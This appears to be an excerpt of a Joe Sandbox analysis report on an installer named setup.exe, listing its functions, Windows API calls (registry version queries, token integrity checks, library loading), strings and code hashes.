Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: FormatFreeIos_base_dtorLocalMessagestd::ios_base::_
String ID: Failed to get Windows error message [win32 error 0x
API String ID: 201254970-3373098694
Opcode ID: 8dadaca9a4e6085d56d1d6f70ad79aa33a08c148355f54572e7894b7ca2c1412
Instruction ID: de444d0102dec5a2ce1807bee4f177d99499d5019adcc85ace9e48e38ea11332
Opcode Fuzzy Hash: 8dadaca9a4e6085d56d1d6f70ad79aa33a08c148355f54572e7894b7ca2c1412
Instruction Fuzzy Hash: C941B470A003089FDB10DF68C946BAEBBF8EF44714F208269E515A7391DB749B48CBD1

Function 00BE6C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00BE6C6B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00BE6CCE

Strings

bad locale name, xrefs: 00BE6CF1

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 616f5c536a6f5e01dfc452afe84783e0a56e2849a5973fd08672ff646b9ba1e4
Instruction ID: 91ba328942c7d2bb4d36e5cbbcc67cef9b7167dc4bfa562c36f1b7168e524b5e
Opcode Fuzzy Hash: 616f5c536a6f5e01dfc452afe84783e0a56e2849a5973fd08672ff646b9ba1e4
Instruction Fuzzy Hash: 8621E070A05784DED720CF69C90478ABBF4EF15300F24869DE48997B81D7B5AA04C7A1

Function 00BC922F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

GetParent.USER32(0000000F), ref: 00BC9262

Strings

C:\ReleaseAI\stubs\setup\controls\generic\VisualStyleBorder.h, xrefs: 00BC9247
Unknown exception, xrefs: 00BC9237

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Parent
String ID: C:\ReleaseAI\stubs\setup\controls\generic\VisualStyleBorder.h$Unknown exception
API String ID: 975332729-9186675
Opcode ID: ebb1b6f5e52d3dea8d80fdf1842f6795807a3ed6a1e367108fb4ad90bf38b72f
Instruction ID: 9eae44e6e2a37dddb9cba641336749d64961ff2dd08f2a0385eb6b6cf0da5e36
Opcode Fuzzy Hash: ebb1b6f5e52d3dea8d80fdf1842f6795807a3ed6a1e367108fb4ad90bf38b72f
Instruction Fuzzy Hash: E7016D30D05298EFDB04EBE8C959ADDBBB0AF55304F1480D8E441BB296DBB45E48DB92

Function 00BB47D2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 00BB4802

Strings

Unknown exception, xrefs: 00BB47DA
C:\ReleaseAI\platform\ui\controls\mshtml\GenericAxControl.cpp, xrefs: 00BB47ED

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ActiveWindow
String ID: C:\ReleaseAI\platform\ui\controls\mshtml\GenericAxControl.cpp$Unknown exception
API String ID: 2558294473-2631306498
Opcode ID: b7fc0863be200913dd74cedd66c26374c97ba8d24b328b02b0ae456168a22803
Instruction ID: a7b9486b89e4c7789e57a683d14490f1ce93270c4265fac6a6dc98e6dd73f053
Opcode Fuzzy Hash: b7fc0863be200913dd74cedd66c26374c97ba8d24b328b02b0ae456168a22803
Instruction Fuzzy Hash: 81018030D05298DFCF05EBE8C9556DEBBB0AF56300F148198D0417B387DBB45A08D792

Function 00BB445E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 00BB448B

Strings

Unknown exception, xrefs: 00BB4466
C:\ReleaseAI\platform\ui\controls\mshtml\GenericAxControl.cpp, xrefs: 00BB4476

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ActiveWindow
String ID: C:\ReleaseAI\platform\ui\controls\mshtml\GenericAxControl.cpp$Unknown exception
API String ID: 2558294473-2631306498
Opcode ID: 621149507591b2c7c7576a163b2390167953717256eb5d61f21a4905f91afa88
Instruction ID: a797cc0d0d5bf18e0593120bb990845632daf7c050236127ffe7ac4df41c29df
Opcode Fuzzy Hash: 621149507591b2c7c7576a163b2390167953717256eb5d61f21a4905f91afa88
Instruction Fuzzy Hash: 18018C30D05298EFCB05DBE8C9556DDBBB0AF56304F148098E042BB386DBB45A08E792

Analysis Process: setup.exePID: 7728, Parent PID: 7404COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	254
Total number of Limit Nodes:	6

Executed Functions

Function 00C889F0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00C88A31

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

Part of subcall function 00BAA2A0: FindResourceW.KERNEL32(00000000,?,00000006,?,?,?,00BA124B,http://,?,80004005,E5106CA8,?,00DAA90F,000000FF), ref: 00BAA2C3

LoadLibraryExW.KERNEL32(?,00000000,00000000,00DE0ACD,000000FF), ref: 00C88B04

Strings

UxTheme.dll, xrefs: 00C88A0C, 00C88ADF, 00C88AE0, 00C88B74

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: Init_thread_footer$DirectoryFindHeapLibraryLoadProcessResourceSystem
String ID: UxTheme.dll
API String ID: 2586271605-352951104
Opcode ID: 75dce3cf6faa80780781cca4fe433c20a42382b1d87c08022deaef6910d67a01
Instruction ID: 068ecc62520be13866f13f6d31759f70d04cf19ebb339b4ecf7998f04be1444a
Opcode Fuzzy Hash: 75dce3cf6faa80780781cca4fe433c20a42382b1d87c08022deaef6910d67a01
Instruction Fuzzy Hash: ECA18BB0501645EFE714DF64C858BAABBF4FF04318F20825DD4299B6C1DBB6A618CB90

Function 00CD1470 Relevance: 40.5, APIs: 4, Strings: 19, Instructions: 220
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000002,SYSTEM\CurrentControlSet\Control\ProductOptions,00000000,00020119,00000000), ref: 00CD14E0
RegQueryValueExW.KERNEL32(00000000,ProductType,00000000,00000000,?), ref: 00CD151B
RegQueryValueExW.KERNEL32(00000000,ProductSuite,00000000,00000000,?,?), ref: 00CD1596
RegCloseKey.ADVAPI32(00000000), ref: 00CD176E

Strings

Blade, xrefs: 00CD16B0
ServerNT, xrefs: 00CD1544
WinNT, xrefs: 00CD1521
Personal, xrefs: 00CD1699
ProductSuite, xrefs: 00CD158B
BackOffice, xrefs: 00CD1602
Compute Server, xrefs: 00CD170C
Storage Server, xrefs: 00CD16F5
Small Business(Restricted), xrefs: 00CD164D
EmbeddedNT, xrefs: 00CD1666
DataCenter, xrefs: 00CD167F
ProductType, xrefs: 00CD1510
Terminal Server, xrefs: 00CD1634
Embedded(Restricted), xrefs: 00CD16C7
Small Business, xrefs: 00CD15D0
CommunicationServer, xrefs: 00CD161B
Security Appliance, xrefs: 00CD16DE
Enterprise, xrefs: 00CD15E9
SYSTEM\CurrentControlSet\Control\ProductOptions, xrefs: 00CD14D6

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: BackOffice$Blade$CommunicationServer$Compute Server$DataCenter$Embedded(Restricted)$EmbeddedNT$Enterprise$Personal$ProductSuite$ProductType$SYSTEM\CurrentControlSet\Control\ProductOptions$Security Appliance$ServerNT$Small Business$Small Business(Restricted)$Storage Server$Terminal Server$WinNT
API String ID: 1586453840-3149529848
Opcode ID: 0f872ced4df98a3476f591b08add6f1e60eca958a7668d7d1ec2bc0a9eb38c07
Instruction ID: 7ca58ea169e09e871f0192fe11255ace1b7727abbf5ed2509e743566d20c8e79
Opcode Fuzzy Hash: 0f872ced4df98a3476f591b08add6f1e60eca958a7668d7d1ec2bc0a9eb38c07
Instruction Fuzzy Hash: EF71A478700318AADB209B31ED417AA73B5EB85744F19507BEF16A7791EB34CE4A8780

Function 00CD10E0 Relevance: 38.7, APIs: 12, Strings: 10, Instructions: 224
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\Windows NT\CurrentVersion,00000000,00020119,00000000), ref: 00CD114E
RegQueryValueExW.KERNEL32(00000000,CurrentMajorVersionNumber,00000000,00000000,?,?), ref: 00CD1195
RegQueryValueExW.KERNEL32(00000000,CurrentMinorVersionNumber,00000000,00000000,?,00000004), ref: 00CD11B4
RegQueryValueExW.ADVAPI32(00000000,CurrentVersion,00000000,00000000,?,?), ref: 00CD11E3
RegQueryValueExW.KERNEL32(00000000,CurrentBuildNumber,00000000,00000000,?,?), ref: 00CD1258
RegQueryValueExW.KERNEL32(00000000,ReleaseId,00000000,00000000,?,?), ref: 00CD12D2
RegQueryValueExW.KERNEL32(00000000,CSDVersion,00000000,00000000,?,?), ref: 00CD1324
GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 00CD13B8
GetProcAddress.KERNEL32(00000000), ref: 00CD13BF
__Init_thread_footer.LIBCMT ref: 00CD13D3
GetCurrentProcess.KERNEL32(?), ref: 00CD13F6
RegCloseKey.ADVAPI32(00000000), ref: 00CD1437

Strings

IsWow64Process, xrefs: 00CD13AE
Software\Microsoft\Windows NT\CurrentVersion, xrefs: 00CD1144
CSDVersion, xrefs: 00CD1319
, xrefs: 00CD11C5
kernel32, xrefs: 00CD13B3
CurrentVersion, xrefs: 00CD11D8
CurrentBuildNumber, xrefs: 00CD124D
CurrentMinorVersionNumber, xrefs: 00CD11A9
CurrentMajorVersionNumber, xrefs: 00CD118A
ReleaseId, xrefs: 00CD12C7

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: QueryValue$AddressCloseCurrentHandleInit_thread_footerModuleOpenProcProcess
String ID: $CSDVersion$CurrentBuildNumber$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$IsWow64Process$ReleaseId$Software\Microsoft\Windows NT\CurrentVersion$kernel32
API String ID: 1850716914-483456580
Opcode ID: d9b643a4050dd598a880775d5eacf5eff166cc8de8c70d74e43425d0f61bf4a7
Instruction ID: c2669d488fa3aa0ae58072d52efb8afb448600c58d8726c738fadc3ff40ea3fd
Opcode Fuzzy Hash: d9b643a4050dd598a880775d5eacf5eff166cc8de8c70d74e43425d0f61bf4a7
Instruction Fuzzy Hash: 9791A1B1900328AEDB20CF21CC45B9AB7B5FB45710F0442A6E919B7290DB76AE98CF50

Function 00CC72E0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 117
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00CC7328
OpenProcessToken.ADVAPI32(00000000,00000008,00000000), ref: 00CC7335
GetLastError.KERNEL32 ref: 00CC733F
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00DEB0F5), ref: 00CC7369
GetLastError.KERNEL32 ref: 00CC736F
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00DEB0F5,00DEB0F5,00DEB0F5), ref: 00CC7395
AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00000012,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00CC73C8
EqualSid.ADVAPI32(00000000,?), ref: 00CC73D7
FreeSid.ADVAPI32(?), ref: 00CC73E6
CloseHandle.KERNEL32(00000000), ref: 00CC7420

Strings

Ls, xrefs: 00CC7414

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: Token$ErrorInformationLastProcess$AllocateCloseCurrentEqualFreeHandleInitializeOpen
String ID: Ls
API String ID: 695978879-1452845052
Opcode ID: 3d5ead653e4942378a281e479019ddc8960345fc1065d176c0ab9909961cbef4
Instruction ID: 393da95fbd2d205c17e21a474556ed87da4b6c147708231fef71f5c843a5f97d
Opcode Fuzzy Hash: 3d5ead653e4942378a281e479019ddc8960345fc1065d176c0ab9909961cbef4
Instruction Fuzzy Hash: 4F410A71904209DFDF10DFA5CC49BEEBBB8EF08714F14421AE921B21A0D7799A48DF64

Function 00BB180E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 159
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D80260: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,E5106CA8,?,?,00DA83BD,000000FF,?,00BA1177,E5106CA8,?,00DAA90F), ref: 00D8026B
Part of subcall function 00D80260: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,E5106CA8,?,?,00DA83BD,000000FF,?,00BA1177,E5106CA8,?,00DAA90F), ref: 00D802A8

GetModuleHandleW.KERNEL32(Kernel32.dll,GetTempPath2W), ref: 00BB1897
GetProcAddress.KERNEL32(00000000), ref: 00BB189E
__Init_thread_footer.LIBCMT ref: 00BB1841

Part of subcall function 00D80216: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80220
Part of subcall function 00D80216: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80253
Part of subcall function 00D80216: RtlWakeAllConditionVariable.NTDLL ref: 00D802CA

__Init_thread_footer.LIBCMT ref: 00BB18B2
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00BB18E1
CreateDirectoryW.KERNEL32(?), ref: 00BB1994

Strings

Kernel32.dll, xrefs: 00BB1892
S-1-5-18, xrefs: 00BB1936
\SystemTemp\, xrefs: 00BB18E7
GetTempPath2W, xrefs: 00BB188D
S-1-5-32-544, xrefs: 00BB1947

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$DirectoryEnterInit_thread_footerLeave$AddressConditionCreateHandleModuleProcVariableWakeWindows
String ID: GetTempPath2W$Kernel32.dll$S-1-5-18$S-1-5-32-544$\SystemTemp\
API String ID: 1425133133-595641723
Opcode ID: 4299ff60e0f5dccc597fdae5ddfc151e671897c675695c7e9a815bca9a7f7c32
Instruction ID: 059c09444a7f0d57b8a9f883e765a81b0239ec26718c2e68cc8854a53a3863a2
Opcode Fuzzy Hash: 4299ff60e0f5dccc597fdae5ddfc151e671897c675695c7e9a815bca9a7f7c32
Instruction Fuzzy Hash: C351C471900318ABDB20EBA4DC9ABEE73B4EB45304F5442D9E406B7191EBB46B88CF51

Function 00CB08F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D80260: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,E5106CA8,?,?,00DA83BD,000000FF,?,00BA1177,E5106CA8,?,00DAA90F), ref: 00D8026B
Part of subcall function 00D80260: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,E5106CA8,?,?,00DA83BD,000000FF,?,00BA1177,E5106CA8,?,00DAA90F), ref: 00D802A8

__Init_thread_footer.LIBCMT ref: 00CB0962

Part of subcall function 00D80216: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80220
Part of subcall function 00D80216: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80253
Part of subcall function 00D80216: RtlWakeAllConditionVariable.NTDLL ref: 00D802CA

Strings

h, xrefs: 00CB096C

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: h
API String ID: 2296764815-3790492082
Opcode ID: de4bfeb1e3e74266bca5d8b278f43247fee322f9fbc69d0e923a72c52baedafd
Instruction ID: 8ea8216e7fc8e76fe41194ddebfe873f97289ae1f71ca568da1c1879b515122a
Opcode Fuzzy Hash: de4bfeb1e3e74266bca5d8b278f43247fee322f9fbc69d0e923a72c52baedafd
Instruction Fuzzy Hash: 2301D4B1E04648DFC758EB59EC42B49B3A8E70EB20F24427AE426E33D0D735F9049A21

Function 00D97F27 Relevance: 2.6, APIs: 2, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00000001,0000000B,00D85304,00D981FB,00000009,?,00D8142C,0000000B,00000009,00000009,?,?,00BB079C,0000000D,0000000D), ref: 00D97F2B
SetLastError.KERNEL32(00000000), ref: 00D97FCD

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 95cca5272d5e3c4f41446a657eeeb14a35699206de093e8b6648e033c0c117aa
Instruction ID: 0f9845604d57b5349fec519b4752e4be5bef585b6bd6dd7a3e0ed5886a887b9a
Opcode Fuzzy Hash: 95cca5272d5e3c4f41446a657eeeb14a35699206de093e8b6648e033c0c117aa
Instruction Fuzzy Hash: C1112B3121E2016EDF013FFAACC5D2B669DEF057747240239F108B21A2EA118C089171

Function 00CD1040 Relevance: 1.5, APIs: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D80260: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,E5106CA8,?,?,00DA83BD,000000FF,?,00BA1177,E5106CA8,?,00DAA90F), ref: 00D8026B
Part of subcall function 00D80260: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,E5106CA8,?,?,00DA83BD,000000FF,?,00BA1177,E5106CA8,?,00DAA90F), ref: 00D802A8

Part of subcall function 00CD10E0: RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\Windows NT\CurrentVersion,00000000,00020119,00000000), ref: 00CD114E
Part of subcall function 00CD10E0: RegQueryValueExW.KERNEL32(00000000,CurrentMajorVersionNumber,00000000,00000000,?,?), ref: 00CD1195
Part of subcall function 00CD10E0: RegQueryValueExW.KERNEL32(00000000,CurrentMinorVersionNumber,00000000,00000000,?,00000004), ref: 00CD11B4
Part of subcall function 00CD10E0: RegQueryValueExW.ADVAPI32(00000000,CurrentVersion,00000000,00000000,?,?), ref: 00CD11E3
Part of subcall function 00CD10E0: RegQueryValueExW.KERNEL32(00000000,CurrentBuildNumber,00000000,00000000,?,?), ref: 00CD1258

__Init_thread_footer.LIBCMT ref: 00CD10B6

Part of subcall function 00D80216: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80220
Part of subcall function 00D80216: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80253
Part of subcall function 00D80216: RtlWakeAllConditionVariable.NTDLL ref: 00D802CA

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CriticalQuerySectionValue$EnterLeave$ConditionInit_thread_footerOpenVariableWake
String ID:
API String ID: 3563064969-0
Opcode ID: 9f2850d66d4e28f434359c9a9c912132062bb45eebf02e1c0d22cc962ccadad5
Instruction ID: f8e8516142909df72841f5a0fb096e39cbd4b5dd13fce6aa336f703a6bec7d2a
Opcode Fuzzy Hash: 9f2850d66d4e28f434359c9a9c912132062bb45eebf02e1c0d22cc962ccadad5
